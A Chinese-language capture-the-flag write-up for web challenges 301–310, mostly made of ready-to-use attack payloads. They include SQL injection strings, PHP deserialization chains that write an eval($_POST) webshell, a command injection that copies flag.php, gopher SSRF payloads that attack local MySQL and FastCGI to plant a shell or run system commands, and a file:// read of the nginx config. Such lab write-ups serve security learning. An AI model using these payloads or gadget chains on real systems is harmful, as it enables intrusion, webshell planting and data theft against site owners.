web301
下载源码
发现第9行代码直接进行了sql语句 并无任何过滤
17行代码将查询的结果和输入的语句进行了比较
构造payloaduserid=' union select 1# userpwd=1
web302
根据hint

手动修改代码
跟踪函数 发现将 查询的结果进行了加密操作
构造payload-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'-- 11
web303
下载代码 以前的文件 发现多了长度限制 无法注入
发现多了两个文件
有注释说是注入点 但前提是需要登陆 随后发现
可以利用admin进行登录
进行INSERT INTO注入
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=
web304
修改一下表名
dpt_name=1',sds_address =(select flag from sds_flaag)%23
web305
class.php 发现file_put_contents函数
全局搜索 unserialize 函数
利用unserialize 函数 触发反序列化
构造payload
<?php<?phpclass user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}}echo urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>')));?>
在checklogin.php中 cookie传值
蚁剑连接 数据库
找到flag
web306
审计代码 发现file_put_contents危险函数
全局搜索一下unserialize 函数
发现 index.php 和 login.php 都有 unserialize 函数 但 login.php 并无法利用 因为同时需要dao.php和 class.php
全局搜索一下 __destruct 函数 
在 dao.php 中发现 并且$this->conn可控 直接可调用 close() 方法
构造payload
<?php
class log{
public $title;
public $info;
public function __construct(){
$this->title='1.php';
$this->info='<?php eval($_POST[1]);?>';
}
}
class dao{
public $conn;
public function __construct(){
$this->conn=new log;
}
}
echo base64_encode(serialize(new dao));
?>
web307
审计代码 发现shell_exec危险函数
全局搜索clearCache函数
在logout.php中发现 并且拥有unserialize函数
我们还需要控制$this->config->cache_dir变量 全局搜索一下cache_dir变量
在config.php中发现
构造payload
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config;
}
}
class config{
public $cache_dir;
public function __construct(){
$this->cache_dir='cache/*;cat /var/www/html/flag.php > /var/www/html/1.txt;';
}
}
echo base64_encode(serialize(new dao));
?>
web308
审计代码 发现为SSRF
全局搜索一下checkUpdate函数
$this->config->update_url变量可控
再次搜索checkVersion函数
发现unserialize函数
发现config.php 为mysql数据库 并且无密码 可以用gopher 打mysql
构造payload
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config;
}
}
class config{
public $update_url;
public function __construct(){
$this->update_url='gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01
';
}
}
echo base64_encode(serialize(new dao));
?>
web309
在上一题基础上加了 mysql密码 无法gopher打mysql
可以用gopher://127.0.0.1:9000/ 来探测一下是否有fastcgi服务
利用gopher 生成payload
构造payload
<?php
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
web310
读一下nginx文件
<?php
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>

直接访问 127.0.0.1:4476 即可
<?php
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>

